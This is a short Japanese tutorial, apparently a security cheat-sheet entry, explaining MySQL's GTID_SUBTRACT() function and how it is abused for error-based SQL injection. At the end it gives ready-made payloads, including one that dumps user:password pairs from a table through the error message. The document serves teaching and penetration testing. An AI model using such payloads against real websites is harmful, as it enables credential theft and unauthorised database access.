目次
(***注: バージョン要件に注意してください)
GTID_SUBTRACT () エラー挿入
1. 文法の紹介:
バージョン:
MySQL >=5.6
GTID_SUBTRACT() 関数は、2 つのグローバル トランザクション識別子 (GTID) 間の差異を計算する MySQL の関数です。GTID は MySQL 5.6 で導入されたグローバル トランザクション識別子であり、データベース内のトランザクションを追跡するために使用されます。
文法:
GTID_SUBTRACT(gtid_set, gtid)
このうち、gtid_set は GTID セット、gtid は単一の GTID です。この関数は、gtid_set から gtid を減算した後の残りを表す新しい GTID セットを返します。
原理:
- まず、gtid_set を個々の GTID に分割します。
- 次に、各 GTID を反復処理して、GTID と同じかどうかを確認します。同じ場合は、gtid_set から削除されます。
- 最後に、残りの GTID を新しい GTID セットに再構築して返します。
使用するシーン:
- データベース レプリケーション: マスター データベースでトランザクションが実行されると、GTID が生成され、スレーブ データベースに渡されます。スレーブ データベースは GTID_SUBTRACT() 関数を使用してマスター データベースとスレーブ データベースの差を計算し、どのデータをレプリケートする必要があるかを決定できます。
- データベースの移行: あるデータベースから別のデータベースにデータを移行する必要がある場合、GTID_SUBTRACT() 関数を使用して 2 つのデータベース間の差異を計算し、差異内のデータのみをコピーできます。
2. エラーの理由
原因:
1. GTID (グローバル トランザクション ID) は、MySQL でグローバル トランザクションを識別するために使用される一意の識別子です。
2. GTID_SUBTRACT() 関数を使用すると、2 つの GTID セットの差を計算し、ある GTID セットには存在するが、別の GTID セットには存在しないトランザクションを特定できます。
3. 悪意のある SQL コードを gtid_set1 または gtid_set2 パラメータに挿入します。このようにして、GTID_SUBTRACT() 関数が実行されると、悪意のあるコードが実行されます。
ペイロード:
select GTID_SUBTRACT(user(),1)
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from 表名),0x7e),1)--+
//GROUP_CONCAT()函数将它们组合成一个字符串
//concat()函数用于连接字符串
//0x7e表示波浪符(~)
グラフィック:
root@localhost
ネットワークセキュリティ同人誌
GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge